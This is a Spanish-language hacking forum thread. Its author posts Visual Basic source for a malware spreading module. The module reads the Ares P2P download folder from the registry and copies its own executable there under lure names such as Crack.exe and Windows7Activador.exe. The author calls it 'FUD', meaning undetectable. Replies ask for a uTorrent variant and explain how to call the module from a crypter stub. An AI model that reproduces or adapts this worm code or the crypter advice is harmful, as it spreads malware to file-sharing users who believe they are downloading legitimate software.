Bueno, pues aca les dejo mi ultima creación:
'/**********************************************\
'/ Autor: k0ws *\
'/ Webs: Underc[0]de.org & Udtools.net *\
'/ Funcion: Propagar ejecutable via Ares *\
'/ Anexo: El autor se exime de su mal uso *\
'/ Uso: Call sAres() *\
'/ Si usas este o parte del codigo da creditos *\
'/**********************************************\
Public Function sAres()
'Por si las moscas x)
On Error GoTo erroneo
'Definimos lo necesario (Rutas,nombres y el contador)
Dim n As Integer
Dim lector, ruta As String, rutaCom As String, listaNombres As String, nombresF() As String
'Leemos la ruta donde Ares guarda las descargas y la convertimos de Hexadecimal a Texto
Set lector = CreateObject("wscript.shell")
ruta = lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
rutaCom = sConvert(ruta)
'Lista de nombres para autocopiarnos
listaNombres = "Crack.exe,Serial.exe,Winrar.exe,Winzip.exe,PhotoScape.exe,LiveMessenger2012.exe," _
& "DiabloIII.exe,DriverPackSolution.exe,MicrosoftOffice2010.exe,AdobePhotoshopCS6.exe,Activador.exe" _
& ",WindowsXPActivador.exe,Windows7Activador.exe"
'Nos copiammos usando un pequeño contador para el split ;)
For n = 0 To 12
nombresF() = Split(listaNombres, ",")
FileCopy App.Path & "\" & App.EXEName & ".exe", rutaCom & "\" & nombresF(n)
Next
erroneo:
End
End Function
Public Function sConvert(ByVal hextext As String) As String 'Funcion para convertir Hexadecimal a exto
For y = 1 To Len(hextext)
num = Mid(hextext, y, 2)
Value = Value & Chr(Val("&h" & num))
y = y + 1
Next y
sConvert = Value
End Function
El modulo esta completamente FUD, no sean malos :o
-Saludos-
Gracias por compartir, aunque ares ya esta muy utilizado y ahora lo que se lleva es la de utorrent :$ jeje haber que puedes hacer amigo.
Cuestion de ponerse manos a la obra, gracias por la idea 8)
-Saludos-
Hola, este código donde lo ingreso?? en el crypter?? disculpa si la pregunta es tonta... :D a ver si le puedes dar una referencia a los novatos gracias de ante mano!!!
Lo ingresarias en el stub, y mediante un orden lo ejecutarias, en plan:
Dim SplittedData as String
SplittedData() = Split(Data,"@~~@")
If SplittedData(1) = "Spread" Then
Call sAres()
End If
-Saludos-